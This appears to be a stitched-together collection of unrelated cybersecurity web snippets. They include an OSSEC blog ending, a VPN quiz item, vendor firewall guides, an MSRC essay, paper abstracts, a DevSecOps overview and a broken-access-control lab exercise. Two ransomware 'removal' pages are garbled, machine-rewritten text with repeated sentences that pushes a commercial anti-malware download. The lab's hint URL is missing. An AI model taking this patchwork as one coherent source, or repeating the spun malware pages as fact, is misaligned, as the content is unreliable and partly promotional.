commercial. But, good news! They have a free version that can do the same thing on a smaller scale, without all of the extra shiny. There is a plugin for Splunk, specifically designed to handle OSSEC as well. It’s worth checking out, you can find it over at splunkbase. And finally, alert logging. Because OSSEC is tightly secured, it can sometimes be a challenge to deal with alert logs. For instance, what if you want to put the logs in an alternate location outside of /var/ossec? There are alternatives, though. For non-application specific output you can use syslog or database output. OSSEC also supports output to Prelude and beta support exists for PicViz. I believe you can use multiple output methods if you desire, though I’d have to test that out to be sure. The configuration for syslog output is very straightforward. You can define both the destination syslog server as well as the level of the alerts to send. Syslog output is typically what you would use in conjunction with Splunk. Database configuration is a bit more in-depth and requires that OSSEC be compiled with certain options enabled. Both MySQL and PostgreSQL are supported. The database configuration block in the ossec.conf ile contains all of the options you would expect, database name, username and password, and hostname of the database server. Additionally you need to specify the database type, MySQL or PostgreSQL. Prelude and PicViz support have their own specific configuration parameters. More information on this support can be found in the OSSEC Manual. OSSEC is an incredible security product. I still haven’t reached the limits of what it can do and I’ve been learning new techniques for using it all week. Hopefully the information provided here over the last 7 days proves to be helpful to you. There’s a lot more information out there, though and an excellent place to start is the OSSEC home page. There’s also the OSSEC mailing list where you can find a great deal of information as well as a number of very knowledgeable, helpful users. The best way to get started is to get a copy of OSSEC installed and start playing. Dive right in, the water’s fine.
Last Updated on April 30, 2021 by Admin What is the purpose of configuring multiple crypto ACLs when building a VPN connection between remote sites? - By applying the ACL on a public interface, multiple crypto ACLs can be built to prevent public users from connecting to the VPN-enabled router. - Multiple crypto ACLs can be configured to deny specific network traffic from crossing a VPN. - When multiple combinations of IPsec protection are being chosen, multiple crypto ACLs can define different traffic types. - Multiple crypto ACLs can define multiple remote peers for connecting with a VPN-enabled router across the Internet or network. Answers Explanation & Hints: A crypto ACL can define “interesting traffic” that is used to build a VPN, and forward that “interesting traffic” across the VPN to another VPN-enabled router. Multiple crypto ACLs are used to define multiple different types of traffic and utilize different IPsec protection corresponding to the different types of traffic.
Earlier this month I had the opportunity to visit sunny Orlando, Florida and give two presentations during the (ISC)2 Security Congress 2016. Ntrepid’s history gives us a different way of looking at security, which makes for a refreshing view of things for conference attendees looking for new and innovative ideas. The audiences for both talks were quite engaged and seemed to welcome this different perspective on the threat and security landscape. In my first talk, “Why Targeting Is the Next Big Trend in Attacks,” I outlined how the growth of targeted attacks is changing the security landscape. Specifically, I touched on the fact that defenses that have been reasonably effective against mass scale attacks provide almost no protection against those that are highly targeted. Attackers are less likely to be noticed, and can therefore use their best tools and techniques, and have plans in place to maximize the impact of their attack. The intent of this presentation was to help security professionals think about this growing kind of threat and understand how their strategies need to adapt to keep their networks and data safe. This approach laid the foundation for my second talk, “Put Your Vulnerabilities in a Box, then Burn It.” Here the audience and I discussed one of the key next generation security strategies which can be effective against targeted attacks. The technique is often called application isolation or secure virtualization, but I tend to like the description, “Encapsulate and Eradicate.” What it comes down to is that some applications are highly vulnerable to attack simply because of their exposure to the open Internet or their inherent vulnerabilities, and need to be effectively isolated from threats. Unfortunately, the web browser is leading the way among those exposed and vulnerable applications. But this is where our unique way of tackling security was appreciated by attendees. By appropriately leveraging virtualization to securely encapsulate the browser, or other vulnerable applications, you ensure that the attacker is extremely limited in the damage they can do. The dedicated environment where the application runs is also very simple, making it easier to lock down and to monitor. Furthermore, it can be quickly destroyed and recreated which absolutely eradicates all infections whether or not they have been detected. This is exactly the kind of capability needed to handle the emerging targeted threats that have been the scourge of businesses over the last few years. To learn more about how, despite it being one of the leading attack vectors for malicious actors, the web browser can be one of your best tools for thwarting cyber attacks, check out Passages. And if you are interested in knowing what event or venue we will be at next, sign up for our newsletter below.
What is Trojan-Ransom.Win32.Gen.acad infection? In this post you will certainly discover about the meaning of Trojan-Ransom.Win32.Gen.acad and its unfavorable influence on your computer. Such ransomware are a type of malware that is clarified by on-line scams to demand paying the ransom by a victim. It is better to prevent, than repair and repent! In the majority of the situations, Trojan-Ransom.Win32.Gen.acad ransomware will certainly instruct its targets to initiate funds transfer for the purpose of neutralizing the amendments that the Trojan infection has actually presented to the sufferer’s tool. These alterations can be as follows: - Network activity detected but not expressed in API logs; - Ciphering the records situated on the victim’s hard drive — so the target can no more use the information; - Preventing routine access to the sufferer’s workstation; One of the most regular channels through which Trojan-Ransom.Win32.Gen.acad Ransomware Trojans are injected are: - By methods of phishing emails; - As an effect of customer winding up on a resource that organizes a malicious software; As quickly as the Trojan is successfully infused, it will certainly either cipher the data on the target’s PC or stop the tool from operating in a correct way – while likewise positioning a ransom money note that mentions the demand for the sufferers to impact the payment for the purpose of decrypting the records or bring back the data system back to the initial problem. In the majority of circumstances, the ransom money note will certainly turn up when the client restarts the COMPUTER after the system has actually already been harmed. Trojan-Ransom.Win32.Gen.acad distribution channels. In numerous edges of the world, Trojan-Ransom.Win32.Gen.acad grows by leaps and bounds. Nonetheless, the ransom money notes as well as methods of extorting the ransom money quantity might vary depending on specific neighborhood (local) settings. The ransom money notes and also techniques of obtaining the ransom money amount may differ depending on specific local (regional) setups. As an example: Faulty alerts regarding unlicensed software. In specific areas, the Trojans frequently wrongfully report having discovered some unlicensed applications enabled on the sufferer’s device. The alert after that requires the individual to pay the ransom money. Faulty declarations regarding illegal web content. In nations where software program piracy is much less popular, this approach is not as effective for the cyber scams. Additionally, the Trojan-Ransom.Win32.Gen.acad popup alert might falsely assert to be originating from a police institution as well as will certainly report having located youngster pornography or various other prohibited data on the device. Trojan-Ransom.Win32.Gen.acad popup alert might wrongly declare to be obtaining from a legislation enforcement institution and will report having situated child pornography or various other illegal information on the tool. The alert will similarly have a demand for the customer to pay the ransom. File Info:crc32: AF9B247Cmd5: af37e2cd6c44e80b21b1648321e2d432name: AF37E2CD6C44E80B21B1648321E2D432.mlwsha1: bd5fc7b3a9a266a08a96548480a9a4103135a719sha256: 3c220af8087e9837365161ae053d4ee093d59f61b974d8d477c70dd86020ada8sha512: 9d654d9f3604a23b6a724f99d8cbaa12c928c66944c4e0200010804cab7597f4e43e8a5b201efe2cada2c69895340f577107e5c65383e7f6f8d3dd7916377b8dssdeep: 768:0EH3Sgb1RWtoNTIvRSM41v1RbpCslGNLRl9XtFgm3Htv:0EH3SgAoNTI0NMkGzdX31type: PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows Version Info:Translation: 0x0000 0x04b0LegalCopyright: Assembly Version: 0.0.0.0InternalName: SignaturesUpToDate.exeFileVersion: 0.0.0.0ProductVersion: 0.0.0.0FileDescription: OriginalFilename: SignaturesUpToDate.exe Trojan-Ransom.Win32.Gen.acad also known as: \|K7AntiVirus\|\|Trojan ( 700000121 )\| \|K7GW\|\|Trojan ( 700000121 )\| How to remove Trojan-Ransom.Win32.Gen.acad virus? Unwanted application has ofter come with other viruses and spyware. This threats can steal account credentials, or crypt your documents for ransom. Reasons why I would recommend GridinSoft1 There is no better way to recognize, remove and prevent PC threats than to use an anti-malware software from GridinSoft2. Download GridinSoft Anti-Malware. You can download GridinSoft Anti-Malware by clicking the button below: Run the setup file. When setup file has finished downloading, double-click on the setup-antimalware-fix.exe file to install GridinSoft Anti-Malware on your system. An User Account Control asking you about to allow GridinSoft Anti-Malware to make changes to your device. So, you should click “Yes” to continue with the installation. Press “Install” button. Once installed, Anti-Malware will automatically run. Wait for the Anti-Malware scan to complete. GridinSoft Anti-Malware will automatically start scanning your system for Trojan-Ransom.Win32.Gen.acad files and other malicious programs. This process can take a 20-30 minutes, so I suggest you periodically check on the status of the scan process. Click on “Clean Now”. When the scan has finished, you will see the list of infections that GridinSoft Anti-Malware has detected. To remove them click on the “Clean Now” button in right corner. Are Your Protected? GridinSoft Anti-Malware will scan and clean your PC for free in the trial period. The free version offer real-time protection for first 2 days. If you want to be fully protected at all times – I can recommended you to purchase a full version: If the guide doesn’t help you to remove Trojan-Ransom.Win32.Gen.acad you can always ask me in the comments for getting help. User Review( votes)
It is rare that you should need to manually open a firewall port in Windows Firewall. Usually, when you install a new program and use it for the first time, Windows will offer to add a firewall exception or will trigger a permissions popup the first time the program tries to access the internet. It is occasionally necessary to do it manually though. As it isn’t something you have to do very often, it isn’t something we remember how to do. That is what prompted this blog post. What is a firewall? A firewall is a piece of software installed in Windows, as a third party application or within your router firmware. There are also hardware firewalls but they are mainly for larger businesses. The job of a firewall is to control what comes into your network and what can leave it. The software will inspect every packet that is due to be sent or received by your computer and compares it to a list of rules. If the program is allowed to communicate with the internet, the traffic is allowed through. If the program isn’t on the list, you will be prompted to add it or the firewall will tell your network card to ignore the traffic. Open a firewall port in Windows Firewall A port is a gateway into your computer that internet traffic can take. Different programs use different ports so the traffic knows where to go. For example, HTTP or browser traffic uses port 80, so your browser knows to listen on port 80 for the data it has asked for. IMAP uses port 143 so your email program knows to listen on that port for email traffic. There are dozens of common ports in use within Windows and other games and programs use them too. The default ports are handled automatically or you will be prompted to either allow, or disallow traffic through the firewall. To manually open a port, do this: - Navigate to Control Panel, System and Security and Windows Firewall. - Select Advanced Settings and highlight Inbound Rules in the left pane. - Right click Inbound Rules and select New Rule. - Add the port you want to open and select Next. - Add the protocol (TCP or UDP) and the port number into the next screen and select Next. - Select Allow the connection in the next screen and select Next. - Select the network type and select Next. - Give the rule a name and select Finish. I tend to suggest calling the rule by the name of the program to help identification. If something goes wrong or you need to troubleshoot, know what port is open for what program really helps. The computer repair guys at Dave’s Computers in New Jersey can help with any computer or networking issue you may have. Bring your computer to our store and we will see what we can do!
With the file system sensor you can easily monitor the system for specific events. Simply specify certain criteria in the sensor: - What (which folder) shall be monitored? - Which events shall be monitored? - Create/add files - Delete files - Rename files - Change file attributes: - Security Attributes/Attributes The sensor informs you automatically once, for example, files of a certain type are created or deleted in a monitored folder or when security attributes are changed. For security reasons an administrator wants to be informed whenever file permissions for certain folders on a local network or on a network drive are changed. For this he creates a file system sensor. The sensor passively monitors a folder including all subfolders. If: File permissions are changed in the monitored folder. Then: Send email containing file name, time of change, and file path to the administrator. Finished choosing a sensor? Then take the next step!
It is often said that attackers have an advantage, because the defenders have to protect every part of their systems all the time, while the attacker only has to find one way in. This argument oversimplifies the security landscape and the real strength that defenders can achieve if they work together. While it’s true that it is difficult to defend against an adversary that targets a single victim, this isn’t the way most malicious actors work. It is easier and cheaper for malicious actors to reuse techniques, infrastructure and tools. Most malicious actors build capabilities that work across many targets and modify and reuse them. This is where the industry has the most opportunity to evolve. Industry collaboration and information sharing is part of the solution, but the real key is finding a way to coordinate action. When an attack targeting dozens, hundreds, or thousands of systems occurs, identifying a similar aspect of that attack can begin to unravel it everywhere. The fact that attackers use the same or similar methodologies in many places can actually put them at a disadvantage. Think of how different animals in the wild respond to attacks. Some respond as individuals and scatter in all directions. This allows predators to focus their attack on an individual and give chase. Yet this same attack unravels against animals who respond by forming a circle and standing their ground as a group. As long as they stick together, the predators are at a disadvantage – unable to separate and run down an individual. This kind of coordinated defense, and more crucially action, is the key to our industry taking the next big leap in the fight against cyber-attacks. It’s not enough to share threat indicators such as yara signatures, IP addresses and malware hashes. What we really want to do is move defenders to take action that defends them and undermines an adversary’s attack. As an industry, we have to come together and decide on a set of standards or principles by which we’re going to not just share information, but use it. So why hasn’t the industry moved towards actionable information sharing? In my opinion, we need to advance the current class of information sharing tools, processes, and technologies. Think of the Traffic Light Protocol. TLP tells us how sensitive the information is, and whether we can share it. What it doesn’t say is whether it’s ok to incorporate an IP address into a network defense system, or to ping the address, or to try and have the address taken down. As an industry, we must work to design and adopt technologies and programs that facilitate a two-way conversation and enable actionable information sharing. This should be the start of partnerships, not where things end. Our tools can no longer just be streams of after-the-fact data that flow from one place to another in varied forms and formats. Appropriate action needs to be part of the dialog, and part of us working together. Part of this transformation is happening today at Microsoft with our Microsoft Active Protections Program (MAPP). While MAPP initially started as an information-sharing effort amongst security vendors, it’s moving to a place where it provides a set of guidance for defenders to protect themselves. To truly evolve to the next level, it will mean shifting from sharing information one way to taking coordinated action. The Microsoft Malware Protection Center (MMPC) has recently talked about the concept and called for a coordinated malware eradication approach at this blog post. When we get to that point, it won’t just be security vendors who are working to keep everyone safe. It will be the networks, the service providers, the government entities, the retailers, the banks, all enterprises of the world pulling together and sharing actionable threat information necessary for defeating the adversaries — consistently and permanently. This will take a greater degree of trust than just information sharing. But to take that next big leap in enhancing our defense against cyber-attacks, it’s where we must begin. Microsoft Security Response Center (MSRC)
This guide gives you hints on how to secure MyPBX. VoIP attack, although not an everyday occurrence does exist. When using VoIP, system security is undoubtedly one of the issues we care about most. With appropriate configuration, and some basic safety habits, we can improve the security of the telephone system. Moreover, the powerful built-in firewall function in MyPBX is adequate to enable the system to run safely and stably. This guide will introduce the highest defense level in MyPBX, and we strongly recommend that you configure firewall and other security options according to this guide, to prevent the attack fraud and the system failure or calls loss. Below is the priority order of configuring security settings in MyPBX. - Guard the ports and password of web and extension first, this is the basic settings. - Configure the firewall inside MyPBX, the logic of firewall is add all trusted IP range into accept list, then enable ‘Drop All’ to reject all other requests from un-trusted IP. - Configure other security service based on your requests. - Limit international calls as your wish. - The optional method to register extension via TLS. *The first two parts are necessary to be configured for security. Path: System→System Preferences→Security Center You can click the button to configure those one by one. You can follow the steps in this manual to configure and get the resut in this page. This page shows the SIP port, HTTP port and HTTPS port, we can click “Setting” to change that.It’s recommend that the default port should be changed. This page shows the general service like AMI, SSH,TFTP, FTP, HTTP and HTTPS. we recommend disabling them if not used. Note: TFTP is used for phone provisioning, it’s enabled by default, you can disable it after all phones are well configured. In this page, the basic information of firewall rules are displayed. We recommend configuring it step by step following part 2 of this manual.
There is enormous interest in and momentum around using AI to reduce the need for human monitoring while improving enterprise security. Machine learning and other techniques are used for behavioral threat analytics, anomaly detection and reducing false-positive alerts. At the same time, private and nation-state cybercriminals are applying AI to the other side of the security coin. Artificial intelligence is used to find vulnerabilities, shape exploits and conduct targeted attacks. How does an enterprise protect the tools it is building and secure those it is running during the production process? Jan-26-2022, 16:35:33 GMT
Abstract :In an high-performance computing (HPC), supercomputing service environment, the security of infrastructure nodes that are points of contact for researchers is very important. We have applied various security devices such as anti-DDoS, IPS, firewall, web application firewall, and etc. on an HPC service network to provide more secure supercomputing services. Firewalls are a common and essential element of network security devices with the ability to block network traffic according to pre-defined rules. With the increasing demands for services, cyberattacks, as well as overheads on firewall policies have also increased. To reduce this overhead, in our previous research, we analyzed dropped packets log and performed a method on the firewall as Abnormal IP that can detect and deny anomalous IPs in real-time. As the number of abnormal IPs increased, the performance of the firewall significantly deteriorated. To solve this problem, we applied access control list (ACL) at the front-end of the firewall to perform prefiltering, thereby improving the performance of the firewall on the HPC service network. This research is expected to contribute as a preliminary study in the HPC field by deriving pre-filtering ACL to reduce the CPU load of firewall server by showing the result of about 21.5% improvement in performance. Index terms :Network performance, network security, traffic analysis, traffic overhead.
Delete [email protected] Virus Completely Step By Step Information To Remove [email protected] Virus From PC Intro Of [email protected] Virus [email protected] Virus is a malicious program that is categorized as a ransomware. It is produced by the purpose to deny access of data and demand ransom through the victim. It is among the dangerous and complicated ransomware which silently infiltrate the computer and bring lots of issues. Similar to other file encrypting threat additionally it is with the capacity of encoding different sort of data files stored over the infected computer. To make your data inaccessible the ransomware utilize a complex encryption algorithm which isn’t easy to break. With no backup it is almost impossible to access your file because upon encryption the ransomware send the unique crucial t its control and control server. To provide the key [email protected] Virus will demand a higher quantity of ransom from victim. Encryption Procedure & Harmful Activities Of [email protected] Virus As pointed out, [email protected] Virus secretly invade the Computer and after that it begin scanning the available drive. The awful ransomware is with the capacity of encrypting number of files including images, video clips, audio, files, powerpoint, spreadsheet and so many more. Research reveal that this ransomware also encrypt data files of the exterior storage device that is linked to the victim’s pc. User’s cannot notice the ransomware because it silently operate its procedures in the background with minimal uncommon activity. The ransomware is also known to remove the shadow volume copies which make the decryption more difficult. Finally it’ll drop its ransom note which usually stay in txt or html file. The ransom note inform victim in what happen using their document and want them to pay specific amount of ransom for the decryption essential. Accessing data files without decryption crucial is almost extremely hard but spending ransom can be not suggested. Spending ransom is similar to encouraging the bad guys for his or her activity and there is absolutely no guarantee that they can return your document. In addition it can also expose system vulnerabilities which enable other risk to infect it which arise more problems. How Does [email protected] Virus spread ? There are quantity of deceptive ways by which [email protected] Virus can get gain access to in your computer. One of the most common delivery way of ransomware is spam email. Targeted user’s will get an email which is designed to show up legitimate and essential. The email contain such message which force user to open up the attachment which contains harmful code. Once the connection is opened the ransomware get downloaded in the system. Furthermore ransomware can also infect your system using some social engineering equipment which allow them the administrative access. User’s should make an effort to remove [email protected] Virus soon otherwise it keep causing such concern. Homeland Security Ransomware, CYR-Locker Ransomware, Hidden-Peach Ransomware, [email protected] Ransomware, SureRansom Ransomware, [email protected] Ransomware, .ccc File Extension Ransomware, [email protected] Ransomware, UpdateHost Ransomware, FileIce Survey Lockscreen, YOUGOTHACKED Ransomware, [email protected] Ransomware, Ranscam Ransomware cryptolocker file recovery [email protected] Virus, windows malware removal tool [email protected] Virus, unlock cryptolocker files [email protected] Virus, malware and spyware [email protected] Virus, how to remove encryption ransomware [email protected] Virus, ransom virus fix [email protected] Virus, remove trojan virus free [email protected] Virus, how do i know if my computer has a virus [email protected] Virus, remove trojan from computer [email protected] Virus, how do i remove a trojan virus from my laptop [email protected] Virus, spyware mac [email protected] Virus, how to remove malware from laptop [email protected] Virus, protect computer from ransomware [email protected] Virus Follow Steps To Delete [email protected] Virus From Operating System Step A: Know How to Reboot Windows Operating System in Safe Mode (This guide is meant for novice users). Step B: [email protected] Virus removal Using System Restore. Still, if you are facing problem in rebooting Operating System in Safe mode, opt for System Restore. Follow the steps given below. Press F8 continuously until you get Windows Advanced Options Menu on Computer Monitor. Now Choose Safe Mode with Command Prompt Option and Tap enter. - In the Command Prompt Windows, you need to type this command : cd restore and Select Enter system-restore-1 - Now type rstrui.exe as command and press on Enter. - This will open a new window to Restore System Files and Settings. Click on Next to proceed. - Restore Point is to be selected from the date you want to restore back your system as it was earlier to [email protected] Virus attack. Step C: Another method for recovering your decrypted files are by using file recovery software If above methods are not successful you can go for file recovery software. It can be helpful in recovering your encrypted files as [email protected] Virus first makes a copy of original files and then encrypt it. After encryption it Deletes the original files. So there is high probability that these file recovery software can help you in recovering your original files. Step D: Know How to Restore Shadow Copies of Encrypted Data
Skip to Main Content This paper proposes a high-speed string matching circuit for searching a pattern in a given text. In the circuit, a pattern is specified by a class of restricted regular expressions. The architecture of the proposed circuit is a one-dimensional systolic architecture consisting of simple processing units. It can be effectively used for network intrusion detection systems (NIDSs).
Website Redirect Detection A common practice of a phishing website attack technique is to redirect users to the official website after stealing their PII/personal information so as not to raise suspicion. The Phishing Watch detects scenarios where users are being redirected to the official company website from a suspicious or unknown domain. The following steps illustrate how the Phishing Watch works when a website redirect is made: - The snippet launches each time the webpage is loaded/refreshed. - When the snippet identifies a non-formal, suspicious website (by inspecting the URL of the webpage), it reports the suspicious URL back to Threat Command servers in a stealthy, low footprint manner. - The Threat Command phishing detection algorithm determines whether the reported website could be used for phishing. - The snippet's whitelist excludes cases where it may be operating on the organization's official website.
Require the developer of the system, system component, or system service to: Formal models describe specific behaviors or security and privacy policies using formal languages, thus enabling the correctness of those behaviors and policies to be formally proven. Not all components of systems can be modeled. Generally, formal specifications are scoped to the behaviors or policies of interest, such as nondiscretionary access control policies. Organizations choose the formal modeling language and approach based on the nature of the behaviors and policies to be described and the available tools.
Do you know the main threat actor types? Most attackers fall into one of four categories, each with their own favored tactics, techniques, and procedures. \|VBA Word macro - how to get characters after the searched for string\|\|5\|\|54\| \|Access 2013 combo box not working\|\|3\|\|26\| \|Recommendation vb6 to vb.net or others\|\|14\|\|39\| \|Macro Excel - Multiple If conditions\|\|2\|\|0\| Join the community of 500,000 technology professionals and ask your questions. Connect with top rated Experts 22 Experts available now in Live!
Typical errors during Infinet equipment deployment and operation Any mistake made during the wireless network deployment and operation costs the company profit, human, time resources and, of course, nerves. We suggest you to review in practice the examples of what mistakes can be made by specialists, and what consequences they can lead to. In addition, we will consider the response schemes for incidents that occur during operation. Let's take a detailed look at INcorrect processes: - Infinet equipment mounting and grounding. - Power and lightning protection connections. - Wireless link configuration.
We know not to trust user input, but the website doesn’t necessarily know not to trust user input. The webpages themselves were made securely, but none of the engineers ever bothered to ask “Isn’t the URL user input too?”. The attacker is now changing the URL in order to grab the personal information of every profile on the website; just because there weren’t links to other user’s profiles on the homepage didn’t mean the attacker can’t request profiles by changing the URL. Broken Access Control is when authorization is improperly enforced, allowing users access to privileges they should not have. This category is more about vulnerabilities within the authorization system than it is about bypassing the system entirely. Because broken access control is such a broad category of vulnerabilities, it can have a wide range of consequences. Access to sensitive user data is one fairly common result, but the sky’s the limit. Broken access control has no single method of mitigation. Mitigation can involve things like rate limits for logins, ensuring server-side validation of requests, and implementing default-deny for permissions. In the workspace, you can see a website’s user directory. You’d like to view the profile of an unsuspecting victim and steal their data, but unfortunately, you are not authorized to view their profile. Not to worry though, because this website suffers from Broken Access Control. First, click on “See our user directory!” to see the profiles available to view. Try viewing “unsuspecting_victim”‘s profile. You’ll notice you’re locked out! Return to the user directory. If you view your own profile (uber_haxor), you will notice that your username shows up in the URL:https://localhost/users/uber_haxor.html What would happen if you were to replace your username in the URL with “unsuspecting_victim” instead? Hint: Change the URL to: and press enter.
Today, DevOps is enabling organisations to deploy changes to production environments at blazing speeds. For illustration purposes, we are going to use the effective tools to represent a typical DevOps process. The tools will vary for each organisation, but the process depicted here will be the same. Sensitive information such as the AWS keys, access tokens, SSH keys etc. are often erroneously leaked via the public source code repositories due to accidental git commits. This can be avoided by using pre-commit hooks like “Talisman” which checks for sensitive information in the files before commits or push activity. With automation, storing credentials in the files or configuration by developers and administrators can lead to exposure of credentials to an unintended audience. This can be segregated by leveraging secret management services like “Hashicorp vault”. This allows segregation of credentials on a separate level and every environment can pull credentials from a specific environment and use it programmatically. - Software Composition Analysis A lot of organisations make use of open source frameworks/solutions like WordPress, Magento, Drupal or even jQuery which are having new vulnerabilities being discovered every day. For these reasons, it is necessary to perform an analysis of all the dependencies being utilised in the application and check them for vulnerabilities arising from missing security patches and fix them. Below tools help to perform a software composition analysis for security vulnerabilities: - Static Analysis Security Testing Using automated tools to perform a security code review flushes out many low-hanging fruits like SQL injection, Cross-site scripting, Deserialization vulnerabilities and many more. For Java based applications we can make use of a tool called “FindSecBugs” which performs an in-depth analysis of the code and gives a comprehensive report for all the vulnerabilities that have been identified in the code. Below few open source tools that can be used for SAST purpose. - Security in Infrastructure as Code One solution which provides a good insight into the security stature of the Docker containers/images is “Clair”. Clair scans the raw docker images and gives an exhaustive report highlighting the vulnerabilities that exist in the image. - Vulnerability Assessment (VA) While pointing a VA tool on the servers that have been created using Docker, it would execute the scan only on the service that is being exposed on that host. However, if we attach the tool to the docker network and then execute the scan, then it would give us a good picture of services which are running. This can be done using various solutions like OpenVAS which can easily integrate into the pipeline. Organisations need to apply compliance controls to their IT infrastructure to abide by industry best practices and various regulations like PCI DSS, HIPAA, SOX etc. “Inspec” is one such tool which can help us in performing these tests as we only need to supply a ruby file containing the tests to be conducted in a very simple and lucid manner which is easy for every audit professional to write and code. Vulnerability management solutions are at the core of a DevSecOps process where all tools are required to spool their data into those solutions so that it can be centrally managed, triaged, tracked, and remediated. “ArcherySec” is one such tool which not only has good integration with most of the tools, but we can also initiate scans such as Zap and OpenVAS through ArcherySec. Production applications are always faced with new threats from unknown and unforeseen vectors. This can be mitigated by having an active intrusion monitoring and prevention solution. One such opensource solution is the “ModSecurity WAF” which detects OWASP Top 10 vulnerabilities like SQL injection, Cross-site scripting etc. being attempted against the application.
This thesis work considers Machine to Machine (M2M) services platform on the local cloud infrastructure concept. The main objectives of the thesis are to analyze security needs of M2M services and based on this requirement, access control method in such platform will be designed. In this new approach for local cloud infrastructure different access methods are analysed to determine their security aspects. It is important to understand new message protocols that are used for M2M communications. They have specific requirements and security aspects. The techniques used to secure local cloud model may be implemented by means of network access, policies, authorization and authentication technologies or a combination from all of these. That is why security must be considered on every level of local network. The system also must communicate with outside environment and must be connected to the internet. That is why the connections must made by a proprietary or standard technology that provides interoperability of data and applications. Typical protection using security certificates and cryptographic algorithms are not enough to ensure the necessary security level in the cloud. When we talk about machine-to-machine communications sometimes small embedded devices have no capabilities to support this type of certificates. That brings new challenges to the security of M2M/IoT environment. Security mechanisms must give users a high level of protection and in the same time they must be not so hard to implement in small embedded devices and easy to manage for users that create they own local cloud. Trust is the main concern of end users, service providers and different stakeholders in the cloud environment. Because of complex scenario the trust is dividing in three major groups. The first one is the trust in human and how we can be sure that human interaction with the system is correct. The second one is the trust in M2M and the third one is the network system. The idea here is to check the system and give some trust level on different type of devices, connections and services. The system and the user must be sure that the deployed application it is not a threats for the environment and normal work of the other services and the local cloud. Table of Contents 1.1 Motivations 6 1.2 Problems statements 8 1.3 Objectives 8 1.4 Scope and limits 9 1.5 Organization of the Thesis 9 MACHINE TO MACHINE (M2M) COMMUNICATION 10 2.1 Background 10 2.2 Standards Developing Organizations involved in Internet of Things/M2M standards and protocols 11
Smart contracts are immutable programs: Once a contract is deployed, it cannot be altered. This allows users to be sure that the rules by which their funds are operated will not be changed. However, the same feature makes creating secure smart contracts extremely complicated. If you create a contract with a bug or vulnerability, it is there forever. That’s why testing is even more crucial for smart contracts than for traditional applications. Why testing is necessary First, let’s clarify what problems tests can and cannot solve. For this purpose, let’s point out the following difference between bugs and vulnerabilities: → If an issue leads to a planned scenario not running, it is a bug. → If an issue leads to an unplanned scenario running, it is a vulnerability. Tests do not prevent vulnerabilities. A vulnerability is by definition something unplanned, so you can’t take it into account at the testing stage. To deal with vulnerabilities, you need other tools and actions, which are described at the end of this article. Tests help us make sure that all planned scenarios run as intended. In other words, tests help prevent bugs. This fact has several important consequences: - Rule of thumb: Every line of business logic must have a corresponding test. If you have a scenario in business logic, then you’ll have it in the code, which means you need to test it. - The most important scenarios must be tested the most thoroughly. The scenarios that will be run by most users or that implement critical functionality require additional attention. - Tests catch silly mistakes. Silly mistakes are made even by experienced developers and can be very dangerous. - Tests are great for edge cases. What if a user tries to buy zero tokens? What if the number of users reaches the limit? These cases must be considered, and the best solution for this task is using tests. - You need to have a detailed specification for your project to create…
Configure gateway load balancing and failover Configure Sophos Firewall for load balancing and failover for multiple ISP uplinks based on the number of WAN ports available on the appliance. If you have more than one ISP link, you can terminate each link on a physical WAN interface. The firewall sends traffic to the ISP link through the gateway configured for the link. You can configure a gateway as active or backup. - Active-active: Sophos Firewall balances traffic among the active gateways. By default, it adds a new gateway as an active gateway. So, load balancing automatically occurs between the existing and newly added ISP links. Sophos Firewall uses a weighted round-robin algorithm for load balancing, distributing traffic among the ISP links based on the weight specified for the links. - Active-backup: You configure one or more gateways as backup gateways. When an active gateway goes down, traffic fails over to an available backup gateway. Load balancing and failover are supported both for IPv4 and IPv6 traffic. You can use two IPv4 gateways or two IPv6 gateways. The network diagram shows that one ISP link is terminated on Port B, and Port D is an unbound port. The following instructions show how to terminate another ISP uplink on Port D. Add a new gateway You need to configure an unbound physical port. This example uses PortD throughout. To add a new gateway, do as follows: - Go to Network > Interface. Select an unbound port and click it to edit its settings. Enter the following information for your new interface: - Network zone: Select WAN. - IPv4 configuration: Turn on if appropriate. - IP assignment - IPv4/Network mask - Gateway name - Gateway ID Example settings for PortD: The gateway is added to the list of gateways. Configure load balancing You need to configure the load balancing for your new gateway. Sophos Firewall adds a new gateway as an active gateway. Load balancing is automatically enabled between existing and new links. Sophos Firewall uses a weighted round-robin algorithm for load balancing. This assigns a weight to a link. Sophos Firewall distributes traffic among the links in proportion to the weight assigned to them. To assign a weight to a link: Go to Network > WAN link manager. Edit the gateway. Edit PortD gateway: Enter a weight. Example weight for PortD: Configure gateway failover You can set up gateway failover in both active-active and active-backup configurations. In an active-active setup, if any of the active gateways fail, the traffic is redirected to the other active gateway. You can specify failover conditions to indicate how the failed gateway should be detected. When you add a gateway, Sophos Firewall adds a default failover rule: If Sophos Firewall can't ping the recently added gateway IP address, the gateway is considered down. During a link failure incident, Sophos Firewall regularly checks the health of the connection so that it can restore the connection faster when the internet service is restored. When the connection is restored and the gateway is up again, the traffic is rerouted through the active gateway automatically. Sophos Firewall notifies administrators by email about all changes in gateway status. You can also see this in the log viewer. In an active-backup setup, if an active gateway fails, you must redirect the traffic to a backup gateway. To set up gateway failover, choose whether to configure failover conditions or redirect to a backup gateway. To configure failover conditions, do as follows: - Click Add to add a new failover rule. You can also edit an existing rule. Enter the details for the rule. This screenshot shows an example rule. The rule states that if Sophos Firewall can't ping the gateway IP address, 172.16.16.15, or establish a TCP connection on port 80 to 126.96.36.199, the gateway is considered down. For WAN or ISP-based gateways, you must enter a well-known public IP address to ensure that failover works properly, such as 188.8.131.52 or 184.108.40.206. For custom gateways added for route-based VPN (RBVPN), RED, and MPLS interface types, you must enter an IP address behind the gateway to ensure that failover works properly. To redirect the traffic to a backup gateway, do as follows: - Go to Network > WAN link manager. Edit the gateway. Edit the PortD gateway: Select Backup as the type. - Set the gateway to start if any active gateway fails. Set it to inherit the weight from the failed gateway. Example backup settings for Port D: Click Save. If an active gateway fails, the backup gateway is activated and inherits the weight of the failed gateway.
The following test objectives for Exam CX-310-202 are covered in this chapter: Configure Role-Based Access Control (RBAC), including assigning rights profiles, roles, and authorizations to users. • This chapter describes Role-Based Access Control (RBAC), and identifies the four main databases involved with RBAC. The system administrator needs to understand the function and structure of each of these databases and how to apply the RBAC functionality in real-world situations. Analyze RBAC configuration file summaries and manage RBAC using the command line. • You will see how to assign a role to a user and use rights profiles by using commands that are described in this chapter. ...
